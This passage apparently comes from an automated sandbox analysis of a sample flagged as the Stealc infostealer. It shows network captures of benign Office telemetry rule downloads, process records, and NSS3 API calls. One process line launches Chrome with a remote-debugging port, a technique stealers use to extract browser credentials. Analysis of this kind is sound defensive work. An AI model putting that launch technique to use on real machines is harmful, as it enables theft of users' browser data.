2024-10-31 16:27:22 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	62965	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:21 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:22 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:22 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 38943712-901e-002a-666e-2a7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162722Z-159b85dff8f6x4jjhC1DFW7uqg00000001b000000000dc81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:22 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	62966	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:22 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:22 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:22 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162722Z-16849878b787bfsh7zgp804my400000008mg000000007wx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:22 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	62967	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:22 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:22 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:22 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e4f189f6-d01e-005a-18af-2a7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162722Z-159b85dff8fx9jp8hC1DFWp25400000001s0000000004vu5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:22 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	62968	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:22 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:22 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:22 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 897ec3ad-201e-005d-0167-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162722Z-16849878b78bcpfn2qf7sm6hsn0000000bf0000000003e1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:22 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	62970	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:22 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:23 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:22 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: aa40c414-301e-005d-2278-2be448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162722Z-159b85dff8f9g9g4hC1DFW9n7000000001x00000000046sk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:23 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	62969	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:23 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:23 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:23 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: d6a1c2a7-101e-0079-31ea-2a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162723Z-16849878b78smng4k6nq15r6s40000000b7g00000000pbw9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:23 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	62971	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:23 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:23 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:23 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 0a28d98c-e01e-0085-70be-2ac311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162723Z-159b85dff8fdh9tvhC1DFW50vs00000001tg000000008gxe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:23 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	62972	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:23 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:23 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:23 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 623250e5-d01e-00ad-1e9c-27e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162723Z-16849878b787wpl5wqkt5731b40000000aeg00000000srxy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:23 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	62973	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:23 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:24 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:23 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 8e66950d-f01e-0003-769c-274453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162723Z-16849878b78smng4k6nq15r6s40000000bcg000000001nuw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:24 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Target ID:	0
Start time:	12:25:59
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x440000
File size:	2'132'992 bytes
MD5 hash:	06DE33DBF96B822DC0B8EB476E56DC45
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2055685858.0000000000441000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2056482059.000000000130E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1693152043.0000000005100000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:26:09
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:26:10
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2204,i,6037110496372164923,5542102993344952383,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 6C666E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,6C667E60), ref: 6C666EBC
TlsGetValue.KERNEL32 ref: 6C666EDF
EnterCriticalSection.KERNEL32(?), ref: 6C666EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C666F25

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C666F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C666FA9
TlsGetValue.KERNEL32 ref: 6C6670B4
EnterCriticalSection.KERNEL32(?), ref: 6C6670C8
PR_CallOnce.NSS3(6C7B24C0,6C6A7590), ref: 6C667104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667117
SECOID_Init.NSS3 ref: 6C667128
PORT_Alloc_Util.NSS3(00000057), ref: 6C66714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6671A9
PR_NotifyAllCondVar.NSS3 ref: 6C6671CF
PR_Unlock.NSS3 ref: 6C6671DD
free.MOZGLUE(?), ref: 6C6671EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667208
free.MOZGLUE(00000000), ref: 6C667221
free.MOZGLUE(00000001), ref: 6C667235
TlsGetValue.KERNEL32 ref: 6C66724A
EnterCriticalSection.KERNEL32(?), ref: 6C66725E
PR_NotifyCondVar.NSS3 ref: 6C667273
PR_Unlock.NSS3 ref: 6C667281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667372
